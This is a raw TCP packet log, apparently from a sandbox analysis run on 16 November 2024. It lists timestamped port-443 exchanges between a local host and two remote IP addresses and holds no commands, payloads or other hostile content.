Nov 16, 2024 20:13:01.642071962 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.642801046 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.642821074 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.643292904 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.643297911 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.672627926 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:01.672669888 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:01.672759056 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:01.673094988 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:01.673113108 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:01.773641109 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.773765087 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.773817062 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.780153036 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.780179977 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.780288935 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.780297995 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.784343958 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.784396887 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.784470081 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.784674883 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.784698963 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.998327017 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.998843908 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.998859882 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.999264002 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.999269009 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.013870001 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.014342070 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.014367104 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.014774084 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.014779091 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.024827003 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.025264978 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.025284052 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.025741100 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.025748014 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.050750971 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.051273108 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.051289082 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.051673889 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.051685095 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.128237963 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.128401041 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.128483057 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.128642082 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.128660917 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.128673077 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.128679037 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.131859064 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.131887913 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.131983042 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.132152081 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.132165909 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.153548002 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.153700113 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.153770924 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.153815031 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.153836012 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.153851032 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.153857946 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.156852007 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.156945944 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.157027006 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.157141924 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.157174110 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.157742023 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.157892942 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.157957077 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.157989025 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.158013105 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.158026934 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.158032894 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.159857988 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.159899950 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.159965992 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.160068989 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.160079956 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.176538944 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.176584005 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.176642895 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.176795006 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.176795006 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.176837921 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.176867008 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.178987026 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.179030895 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.179236889 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.179236889 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.179279089 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.510679960 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.511291981 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.511346102 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.511920929 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.511939049 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.576366901 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.576469898 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.577975035 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.578003883 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.578398943 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.589065075 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.631367922 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.639982939 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.640255928 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.640486002 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.640486002 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.640486956 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.643969059 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.644057989 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.644164085 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.644314051 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.644337893 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.854993105 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.855547905 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.855560064 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.856359959 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.856367111 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.878396034 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.885982990 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.886029959 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.886707067 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.886717081 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.888786077 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.888854027 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.888897896 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.888927937 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.888955116 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.888981104 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.889005899 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.889935017 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.889985085 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.890012026 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.890036106 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.890049934 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.890209913 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.890265942 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.901581049 CET	49862	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:13:02.901607990 CET	443	49862	52.149.20.212	192.168.2.4
Nov 16, 2024 20:13:02.904126883 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.906054974 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.906548023 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.906569004 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.906759977 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.906771898 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.907166958 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.907180071 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.907299042 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.907305956 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.946609020 CET	49863	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:02.946674109 CET	443	49863	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.987409115 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.987498045 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:02.987608910 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.007973909 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.007983923 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.007999897 CET	49866	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.008006096 CET	443	49866	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.011668921 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.011884928 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.012039900 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.013073921 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.013097048 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.015770912 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.015799046 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.015872955 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.017383099 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.017394066 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.017685890 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.018069983 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.018085957 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.018188953 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.018199921 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.035358906 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.035468102 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.035537958 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.035708904 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.035708904 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.035744905 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.035784960 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.039622068 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.039675951 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.039755106 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.039910078 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.039942980 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.045166016 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.045556068 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.045813084 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.050637007 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.050683975 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.050714970 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.050731897 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.053344011 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.053435087 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.053519964 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.053680897 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.053711891 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.413518906 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.421216011 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.421246052 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.422454119 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.422461033 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.554064035 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.554203987 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.554280043 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.554424047 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.554469109 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.554498911 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.554516077 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.558090925 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.558178902 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.558284998 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.558454990 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.558494091 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.749672890 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.750518084 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.750539064 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.751180887 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.751188040 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.764064074 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.764595985 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.764612913 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.765568018 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.765573978 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.769809008 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.770199060 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.770258904 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.770787954 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.770802975 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.778080940 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.778482914 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.778537989 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.778814077 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.778827906 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.882009983 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.882061005 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.882224083 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.882365942 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.882365942 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.882410049 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.882440090 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.886517048 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.886543989 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.886606932 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.886811018 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.886826038 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.899017096 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.899171114 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.899221897 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.899276972 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.899287939 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.899301052 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.899307966 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.900568962 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.900705099 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.900758028 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.900962114 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.900962114 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.900994062 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.901017904 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.902579069 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.902605057 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.902657986 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.902786970 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.902800083 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.903836012 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.903846025 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.903918982 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.904051065 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.904057980 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.910890102 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.911097050 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.911159039 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.911245108 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.911245108 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.911283016 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.911305904 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.913119078 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.913218021 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:03.913294077 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.913408041 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:03.913439989 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.285130978 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.285747051 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.285809994 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.286407948 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.286423922 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.416696072 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.416960955 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.417062998 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.417184114 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.417184114 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.417243958 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.417270899 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.420428991 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.420535088 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.420629978 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.420780897 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.420803070 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.633193016 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.633759022 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.633781910 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.634260893 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.634265900 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.634818077 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.635158062 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.635181904 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.635555983 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.635561943 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.640575886 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.640954971 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.641032934 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.641329050 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.641345024 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.654930115 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.655236959 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.655261040 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.655635118 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.655641079 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.762618065 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.762811899 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.762953043 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.763092995 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.763092995 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.763102055 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.763109922 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.765882969 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.766550064 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766558886 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.766586065 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.766623020 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766664028 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766760111 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766779900 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.766794920 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766802073 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.766846895 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.766861916 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.768856049 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:04.769042969 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:04.769093990 CET	443	49884	13.107.246.45	192.168.2.4
